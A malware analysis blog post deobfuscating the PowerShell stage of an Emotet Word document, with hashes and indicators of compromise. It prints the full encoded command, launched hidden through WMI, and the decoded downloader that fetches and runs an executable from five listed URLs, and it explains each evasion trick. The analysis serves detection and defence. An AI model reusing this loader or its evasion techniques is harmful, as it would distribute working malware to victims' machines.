Süleyman Özarslan, PhD
|
February 08, 2020

Researchers identified Emotet for the first time in 2014 as a banking malware stealing sensitive and private information. Now, adversaries are using Emotet as Infrastructure as a Service (IaaS) for delivering malware, including other banking Trojans. Emotet incorporates various obfuscation and evasion techniques to avoid detection, and these techniques change over time.

We revealed obfuscated Visual Basic codes in the first part of the Emotet Technical Analysis series . In this second part, we analyze the PowerShell codes in the Emotet malware document ( PowerShell, MITRE ATT&CK T1086 ).

We analyzed the following Word document step by step in the first part:

MD5: 515f13034bc4ccf635b026722fd5ef9c
SHA-1: 8925b822e1d86d787b4682d1bb803cf1f5ea7031
SHA-256:

VirusTotal detection rate: 13/61 as of January 21, 2020
Names: ST_28546448.doc, 01856218536426646.doc

1) VBA code analysis

Let's remember the revealed VBA code ( Scripting, MITRE ATT&CK T1064 ):

1.
Do While GetObject(winmgmtS:win32_Process).Create("Powershell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBOAHYAeABkAHgAZwBjAGMAYgBuAGcAJwA7ACQATgBuAHkAagB0AGgAYwByAHoAagBvAHkAdgAgAD0AIAAnADkAMwA3ACcAOwAkAEkAaQBxAHMAZgBwAHMAbQA9ACcAUgBvAGcAeABwAGcAeQB2AGUAJwA7ACQARQBrAHgAaABsAG8AYgBxAHIAbABoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAG4AeQBqAHQAaABjAHIAegBqAG8AeQB2ACsAJwAuAGUAeABlACcAOwAkAFMAYgByAHkAcAB5AHcAeABnAGMAaQB0AGYAPQAnAFcAcABhAHcAeQBiAGkAcQBtAGoAJwA7ACQASABpAHIAbQB5AGgAcQBhAGwAdABvAHMAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAQwBMAGkARQBuAFQAOwAkAFIAeABiAHkAdwBpAGMAaQA9ACcAaAB0AHQAcAA6AC8ALwBhAGgAYwAuAG0AcgBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBxAHAAMAAvACoAaAB0AHQAcAA6AC8ALwBlAC0AdAB3AG8AdwAuAGIAZQAvAHYAZQByAGQAZQAvAGkAbgA2AGsALwAqAGgAdAB0AHAAcwA6AC8ALwBtAGEAZwBuAGkAZgBpAGMAZQBuAHQAcABhAGsAaQBzAHQAYQBuAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBoAGEANQBqADAAYgAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBxAHcAcQBvAG8ALgBjAG8AbQAvAGgAbwBtAGwAZAB3AC8AMwBwAGkAeQB5ADQALwAqAGgAdAB0AHAAOgAvAC8AcwBpAHcAYQBrAHUAcABvAHMAbwAuAGMAbwBtAC8AcwBpAHcAYQBrAHUAMgAvAFgANQB6AEIAMABlAHkALwAnAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AdQBvAGwAdAB3AGYAcQBoAD0AJwBRAHIAdgBvAGgAZABpAHUAYgBmAGUAawAnADsAZgBvAHIAZQBhAGMAaAAoACQATgBkAGwAdQBhAGwAdQB2ACAAaQBuACAAJABSAHgAYgB5AHcAaQBjAGkAKQB7AHQAcgB5AHsAJABIAGkAcgBtAHkAaABxAGEAbAB0AG8AcwAuACIARABvAHcAYABOAGwAbwBhAGQAZgBpAGAATABFACIAKAAkAE4AZABsAHUAYQBsAHUAdgAsACAAJABFAGsAeABoAGwAbwBiAHEAcgBsAGgAKQA7ACQASABrAHUAawBrAGYAbwBwAHQAagBkAHIAPQAnAFgAYQBiAGQAeAB2AGsAZgBjAG0AYQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEUAawB4AGgAbABvAGIAcQByAGwAaAApAC4AIgBMAGAAZQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgA5ADkAMwA2ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAUgB0ACIAKAAkAEUAawB4AGgAbABvAGIAcQByAGwAaAApADsAJABZAHoAagBqAGYAcABsAG0AawBnAHgAPQAnAEIAeABsAGsAcQBtAHQAeABhACcAOwBiAHIAZQBhAGsAOwAkAE0AbwBsAGMAaABpAGoAeAA9ACcAUQB1AGEAdABsAGIAZABsAHEAdgBmAGQAcAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABSAGMAawBhAGoAcgB4AHYAaQA9ACcARQBqAGUAYwB3AGEAcgBnAGsAYwBsACcA","",GetObject("winmgmtS:win32_ProcessStartuP"),"")
Loop

In this Do While loop, the Create method of the Win32_Process class is used to create a new process.

💡
The Create WMI class method creates a new process.

Syntax:

uint32 Create(
  [in]  string               CommandLine,
  [in]  string               CurrentDirectory,
  [in]  Win32_ProcessStartup ProcessStartupInformation,
  [out] uint32               ProcessId
);
  • The first variable is the CommandLine to execute. It is a PowerShell command in this code ( PowerShell, MITRE ATT&CK T1086 ).
  • The second variable is the CurrentDirectory . If this parameter is NULL , the new process will have the same path as the calling process.
  • The third variable is ProcessStartupInformation , like winmgmtS:win32_ProcessStartuP in this example.
💡
The Win32_ProcessStartup abstract WMI class represents the startup configuration of a Windows-based process. The class is defined as a method type definition, which means that it is only used for passing information to the Create method of the Win32_Process class.
  • The last variable is the global process identifier that can be used to identify a process.

Therefore, the VBA code embedded in the Word document executes a PowerShell command using WMI ( Windows Management Instrumentation, MITRE ATT&CK T1047 ) .

💡
Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems.

2) Analyzing the PowerShell parameters

We'll reveal the obfuscated malicious PowerShell command in this blog. Let's remember the PowerShell command:

2.
Powershell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBOAHYAeABkAHgAZwBjAGMAYgBuAGcAJwA7ACQATgBuAHkAagB0AGgAYwByAHoAagBvAHkAdgAgAD0AIAAnADkAMwA3ACcAOwAkAEkAaQBxAHMAZgBwAHMAbQA9ACcAUgBvAGcAeABwAGcAeQB2AGUAJwA7ACQARQBrAHgAaABsAG8AYgBxAHIAbABoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAG4AeQBqAHQAaABjAHIAegBqAG8AeQB2ACsAJwAuAGUAeABlACcAOwAkAFMAYgByAHkAcAB5AHcAeABnAGMAaQB0AGYAPQAnAFcAcABhAHcAeQBiAGkAcQBtAGoAJwA7ACQASABpAHIAbQB5AGgAcQBhAGwAdABvAHMAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAQwBMAGkARQBuAFQAOwAkAFIAeABiAHkAdwBpAGMAaQA9ACcAaAB0AHQAcAA6AC8ALwBhAGgAYwAuAG0AcgBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBxAHAAMAAvACoAaAB0AHQAcAA6AC8ALwBlAC0AdAB3AG8AdwAuAGIAZQAvAHYAZQByAGQAZQAvAGkAbgA2AGsALwAqAGgAdAB0AHAAcwA6AC8ALwBtAGEAZwBuAGkAZgBpAGMAZQBuAHQAcABhAGsAaQBzAHQAYQBuAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBoAGEANQBqADAAYgAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBxAHcAcQBvAG8ALgBjAG8AbQAvAGgAbwBtAGwAZAB3AC8AMwBwAGkAeQB5ADQALwAqAGgAdAB0AHAAOgAvAC8AcwBpAHcAYQBrAHUAcABvAHMAbwAuAGMAbwBtAC8AcwBpAHcAYQBrAHUAMgAvAFgANQB6AEIAMABlAHkALwAnAC4AIgBzAHAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE4AdQBvAGwAdAB3AGYAcQBoAD0AJwBRAHIAdgBvAGgAZABpAHUAYgBmAGUAawAnADsAZgBvAHIAZQBhAGMAaAAoACQATgBkAGwAdQBhAGwAdQB2ACAAaQBuACAAJABSAHgAYgB5AHcAaQBjAGkAKQB7AHQAcgB5AHsAJABIAGkAcgBtAHkAaABxAGEAbAB0AG8AcwAuACIARABvAHcAYABOAGwAbwBhAGQAZgBpAGAATABFACIAKAAkAE4AZABsAHUAYQBsAHUAdgAsACAAJABFAGsAeABoAGwAbwBiAHEAcgBsAGgAKQA7ACQASABrAHUAawBrAGYAbwBwAHQAagBkAHIAPQAnAFgAYQBiAGQAeAB2AGsAZgBjAG0AYQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEUAawB4AGgAbABvAGIAcQByAGwAaAApAC4AIgBMAGAAZQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgA5ADkAMwA2ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAUgB0ACIAKAAkAEUAawB4AGgAbABvAGIAcQByAGwAaAApADsAJABZAHoAagBqAGYAcABsAG0AawBnAHgAPQAnAEIAeABsAGsAcQBtAHQAeABhACcAOwBiAHIAZQBhAGsAOwAkAE0AbwBsAGMAaABpAGoAeAA9ACcAUQB1AGEAdABsAGIAZABsAHEAdgBmAGQAcAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABSAGMAawBhAGoAcgB4AHYAaQA9ACcARQBqAGUAYwB3AGEAcgBnAGsAYwBsACcA
  • Let's start with the -w parameter and the hidden value: -w hidden . However, there is not a parameter named -w according to the official PowerShell documentation . In fact, the -w parameter is completed by PowerShell as the -WindowStyle parameter because of the parameter substring completion feature of PowerShell .
💡
PowerShell Parameter Completion: Substrings of parameters like -NoEx (- NoExit), -Executi (-ExecutionPolicy), -w (-WindowStyle) are used in the PowerShell command instead of using the complete parameter string to avoid detection. Because of the way that PowerShell handles parameters, parameter substrings like -W, -Wi, -WindowSt, -WindowSty, are all valid ways of specifying an execution argument such as -WindowStyle.
💡
-w can be used for -WindowStyle , because -WindowStyle is the only parameter starts with -w .

Adversaries commonly use the -WindowStyle parameter with Hidden value in malicious PowerShell commands to avoid detection ( Hidden Window, MITRE ATT&CK T1143 ). Actually, -WindowStyle Hidden does not entirely hide the PowerShell command windows, it shows the command window for a while before hiding it.

💡
-WindowStyle parameter sets the window style for the session. Valid values are Normal, Minimized, Maximized, and Hidden .
  • The second parameter is -en . Similar to -w , there is not a parameter named -en according to the official PowerShell documentation . The -en parameter is completed as -EncodedCommand parameter by PowerShell.
💡
The -e parameter cannot be used for the -EncodedCommand , because multiple parameters start with -e : -EncodedCommand and -ExecutionPolicy .
💡
-EncodedCommand accepts a base-64-encoded string version of a command.

Therefore, we must use base64 decoding to reveal the PowerShell command ( Obfuscated Files or Information, MITRE ATT&CK T1027 ). After base64 decoding:

3.
$Azytjhzgaumig='Nvxdxgccbng';$Nnyjthcrzjoyv = '937';$Iiqsfpsm='Rogxpgyve';$Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe';$Sbrypywxgcitf='Wpawybiqmj';$Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WeBCLiEnT;$Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spL`iT"([char]42);$Nuoltwfqh='Qrvohdiubfek';foreach($Ndlualuv in $Rxbywici){try{$Hirmyhqaltos."Dow`Nloadfi`LE"($Ndlualuv, $Ekxhlobqrlh);$Hkukkfoptjdr='Xabdxvkfcma';If ((&('Get-I'+'tem') $Ekxhlobqrlh)."L`eng`TH" -ge 29936) {[Diagnostics.Process]::"s`TARt"($Ekxhlobqrlh);$Yzjjfplmkgx='Bxlkqmtxa';break;$Molchijx='Quatlbdlqvfdp'}}catch{}}$Rckajrxvi='Ejecwargkcl'

3) Deobfuscation of the PowerShell code

Let's beautify the code:

4.
$Azytjhzgaumig='Nvxdxgccbng';
$Nnyjthcrzjoyv = '937';
$Iiqsfpsm='Rogxpgyve';
$Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe';
$Sbrypywxgcitf='Wpawybiqmj';
$Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WeBCLiEnT;
$Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spL`iT"([char]42);
$Nuoltwfqh='Qrvohdiubfek';
foreach($Ndlualuv in $Rxbywici){try{$Hirmyhqaltos."Dow`Nloadfi`LE"($Ndlualuv, $Ekxhlobqrlh);
$Hkukkfoptjdr='Xabdxvkfcma';
If ((&('Get-I'+'tem') $Ekxhlobqrlh)."L`eng`TH" -ge 29936) {[Diagnostics.Process]::"s`TARt"($Ekxhlobqrlh);
$Yzjjfplmkgx='Bxlkqmtxa';
break;
$Molchijx='Quatlbdlqvfdp'}}
catch{}}
$Rckajrxvi='Ejecwargkcl'

There are garbage variables to obfuscate the code. Let's remove them:

5.
$Nnyjthcrzjoyv = '937';
$Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe';
$Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WeBCLiEnT;
$Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spL`iT"([char]42);
foreach($Ndlualuv in $Rxbywici){try{$Hirmyhqaltos."Dow`Nloadfi`LE"($Ndlualuv, $Ekxhlobqrlh);
If ((&('Get-I'+'tem') $Ekxhlobqrlh)."L`eng`TH" -ge 29936) {[Diagnostics.Process]::"s`TARt"($Ekxhlobqrlh);
break;}} 
catch{}}

There are `(backtick) characters, which are used to obfuscate the code. In this case, it is not used to escape any character, so we can remove it from the code.

💡
`(backtick, grave accent) character is the PowerShell's escape character.
6.
$Nnyjthcrzjoyv = '937';
$Ekxhlobqrlh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe';
$Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WeBCLiEnT;
$Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spLiT"([char]42);
foreach($Ndlualuv in $Rxbywici){try{$Hirmyhqaltos."DowNloadfiLE"($Ndlualuv, $Ekxhlobqrlh);
If ((&('Get-I'+'tem') $Ekxhlobqrlh)."LengTH" -ge 29936) {[Diagnostics.Process]::"sTARt"($Ekxhlobqrlh);
break;}} 
catch{}}

Let's put ' 937 ' in place of $Nnyjthcrzjoyv .

7.
$Ekxhlobqrlh=$env:userprofile+'\'+'937'+'.exe';
$Hirmyhqaltos=&('new-o'+'bj'+'ect') NeT.WeBCLiEnT;
$Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spLiT"([char]42);
foreach($Ndlualuv in $Rxbywici){try{$Hirmyhqaltos."DowNloadfiLE"($Ndlualuv, $Ekxhlobqrlh);
If ((&('Get-I'+'tem') $Ekxhlobqrlh)."LengTH" -ge 29936) {[Diagnostics.Process]::"sTARt"($Ekxhlobqrlh);
break;}} 
catch{}}

Now, let's get rid of + characters.

💡
+ operator in PowerShell concatenates two string expressions and adds integers.
8.
$Ekxhlobqrlh=$env:userprofile\937.exe';
$Hirmyhqaltos=&('new-object') NeT.WeBCLiEnT;
$Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spLiT"([char]42);
foreach($Ndlualuv in $Rxbywici){try{$Hirmyhqaltos."DowNloadfiLE"($Ndlualuv, $Ekxhlobqrlh);
If ((&('Get-Item') $Ekxhlobqrlh)."LengTH" -ge 29936) {[Diagnostics.Process]::"sTARt"($Ekxhlobqrlh); break;}} 
catch{}}

Let's put ' $env:userprofile\937.exe ' in place of $Ekxhlobqrlh , and ' &('new-object') NeT.WeBCLiEnT ' in place of $Hirmyhqaltos :

9.
$Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spLiT"([char]42);
foreach($Ndlualuv in $Rxbywici){try{&('new-object') NeT.WeBCLiEnT.DowNloadfiLE($Ndlualuv, $env:userprofile\937.exe);
If ((&('Get-Item') $env:userprofile\937.exe)."LengTH" -ge 29936) {[Diagnostics.Process]::"sTARt"($env:userprofile\937.exe);
break;}} 
catch{}}

Let's change variable names with more readable ones:

10.
$list='http://ahc.mrbdev.com/wp-admin/qp0/*http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'."spLiT"([char]42);
foreach($url in $list){try{&('new-object') NeT.WeBCLiEnT.DowNloadfiLE($url, $env:userprofile\937.exe);
If ((&('Get-Item') $env:userprofile\937.exe)."LengTH" -ge 29936) {[Diagnostics.Process]::"sTARt"($env:userprofile\937.exe);
break;}} 
catch{}}

Now, we must reveal the $list variable. The Split() method is used in this variable.

💡
Split(Char[]) splits a string into substrings that are based on the characters in the separator array.

In this case, the separator is [char]42 , which is equal to the * (asterisk) character. Therefore,

11.
$list=('http://ahc.mrbdev.com/wp-admin/qp0/','http://e-twow.be/verde/in6k/','https://magnificentpakistan.com/wp-includes/ha5j0b1/','https://www.qwqoo.com/homldw/3piyy4/','http://siwakuposo.com/siwaku2/X5zB0ey/')

foreach($url in $list){try{&('new-object') NeT.WeBCLiEnT."DowNloadfiLE"($url, $env:userprofile\937.exe);

If ((&('Get-Item') $env:userprofile\937.exe)."LengTH" -ge 29936) {[Diagnostics.Process]::"sTARt"($env:userprofile\937.exe); break;}} 
catch{}}

Let's change random case to PascalCase:

💡
Randomized case : In this old method, uppercase and lowercase letters appear in a random sequence in the code, which is useful to bypass weak security controls.

4) Analyzing the deobfuscated PowerShell code

12.
$list=('http://ahc.mrbdev.com/wp-admin/qp0/','http://e-twow.be/verde/in6k/','https://magnificentpakistan.com/wp-includes/ha5j0b1/','https://www.qwqoo.com/homldw/3piyy4/','http://siwakuposo.com/siwaku2/X5zB0ey/')

foreach($url in $list){try{&('new-object') Net.WebClient.DownloadFile"($url, $env:userprofile\937.exe);

If ((&('Get-Item') $env:userprofile\937.exe)."Length" -ge 29936) {[Diagnostics.Process]::"Start"($env:userprofile\937.exe);

break;}} 
catch{}}
  • The first line defines the $list array that includes the following URLs :
hxxp://ahc.mrbdev.com/wp-admin/qp0/
hxxp://e-twow.be/verde/in6k/
hxxps://magnificentpakistan.com/wp-includes/ha5j0b1/
hxxps://www.qwqoo.com/homldw/3piyy4/
hxxp://siwakuposo.com/siwaku2/X5zB0ey/
  • The second line,a foreach loop, tries to download a file from the URLS included in the $list array in the given order via the Net.WebClient.DownloadFile method and saves the downloaded file to the $env:userprofile directory as 937.exe .
💡
Net.WebClient.DownloadFile(Uri address,string fileName()) : The WebClient.DownloadFile method of System.Net namespace downloads the resource with the specified URI to a local file.
💡
$env:userprofile indicates the userprofile environment variable that specifies the user's profile directory. This directory stores personal data of the user and a typical path is C:\Users\Username .
  • The third line, an If condition, returns true if the length of the downloaded file 937.exe is greater than or equal to 29936 bytes by using -ge 29936 comparison operator ( ge: greater than or equal ). If it returns true, Diagnostics.Process.Start method executes the 937.exe , then exits the loop. The exact file size of 937.exe is 905472 bytes . What could be the reason for comparing the file size? The answer is simple; adversaries are trying to figure out whether the file is actually downloaded.
💡
Diagnostics.Process.Start(string fileName) : The Process.Start method of System.Diagnostics namespace starts a process resource by specifying the name of a document or application file and associates the resource with a new Process component.

Adversaries used the Invoke-Item cmdlet to execute the downloaded file in our previous Emotet analysis . Now, they are using the Process.Start method instead of Invoke-Item to decrease the detection rate.

In our analysis, the PowerShell coded downloaded 937.exe from the first URL. The other URLs are also active.

MD5: 032a5220e159fcf2f33cc9799f11ade6
SHA-1: 9768eb95d1ac398425fc5eced31b5f83025c6faf
SHA-256: cb463bc2cfbe95d234afc0d3708babb85c7e29089d3691ab0ba6695eeeccb60f

VirusTotal detection rate: 6/73 as of January 21, 2020, 49/73 as of February 6, 2020
Names: 937.exe, 565.exe

Summary

The purpose of this second part of the Emotet Technical Analysis Series is analyzing the PowerShell code included in the heavily obfuscated Visual Basic macros revealed in the first article . Briefly, this PowerShell code downloads a file from a list of URLs, then executes the file as a process.

Adversaries used the following techniques in the PowerShell code for obfuscation and evasion:

  1. WMI was used to create a process instead of cmd . If WMI activity is not monitored, it is hard to detect the creation of the malicious process.
  1. Substrings of parameters were used instead of the complete version of the parameters. PowerShell completes the incomplete version of a parameter. -w was used for -WindowStyle and -en was used for the -EncodedCommand .
  1. The -WindowStyle parameter was used with the Hidden value to hide the PowerShell command window.
  1. The Base64-encoded version of the PowerShell command was used with -EncodedCommand parameter.
  1. Garbage variable assignments were used to obfuscate the code.
  1. The ` (backtick character was used to obfuscate strings. For example, Dow`Nloadfi`LE was used instead of DowNloadfiLE .
  1. + operator was used to concatenate fragmented strings. As an example, 'new-o'+'bj'+'ect' was used instead of newobject to evade weak security controls.
  1. URLs were joined with * (asterisk) character to evade weak URL regexes of security controls. Then, the Split() method was used to separate URLs.
  1. The [char] conversion function was used to obfuscate. For example, [char]42 was used for the * (asterisk) character.
  1. Randomized case (e.g., NeT.WeBCLiEnT ) was used to bypass weak security controls.
  1. The Process.Start method was used to execute the downloaded file instead of the more common execution method like the Invoke-Item cmdlet.

What is next?

We will analyze the behavior of the executed file 937.exe in the third part of the Emotet Technical Analysis series.

MITRE’s ATT&CK Techniques Observed

Indicator of Compromises (IoCs)

Executable

cb463bc2cfbe95d234afc0d3708babb85c7e29089d3691ab0ba6695eeeccb60f

Domains

5kmtechnologies.com
e-twow.be
qwqoo.com
magnificentpakistan.com
siwakuposo.com
yesimsatirli.com

URLs

hxxp://ahc.mrbdev.com/wp-admin/qp0/
hxxp://e-twow.be/verde/in6k/
hxxps://humana.5kmtechnologies.com/wp-includes/KdR9xbBq1/
hxxps://magnificentpakistan.com/wp-includes/ha5j0b1/
hxxps://www.qwqoo.com/homldw/3piyy4/
hxxp://siwakuposo.com/siwaku2/X5zB0ey/
hxxp://yesimsatirli.com/baby/HsWjaCfoR/

IPs

83.150.215.163
111.90.144.211

Süleyman Özarslan, PhD

About the Author

Süleyman Özarslan, PhD
|
VP, Picus Labs, Founder A true security enthusiast with extensive experience in ethical hacking, cyber defense, computer networks, and cryptography.
VP, Picus Labs, Founder A true security enthusiast with extensive experience in ethical hacking, cyber defense, computer networks, and cryptography.

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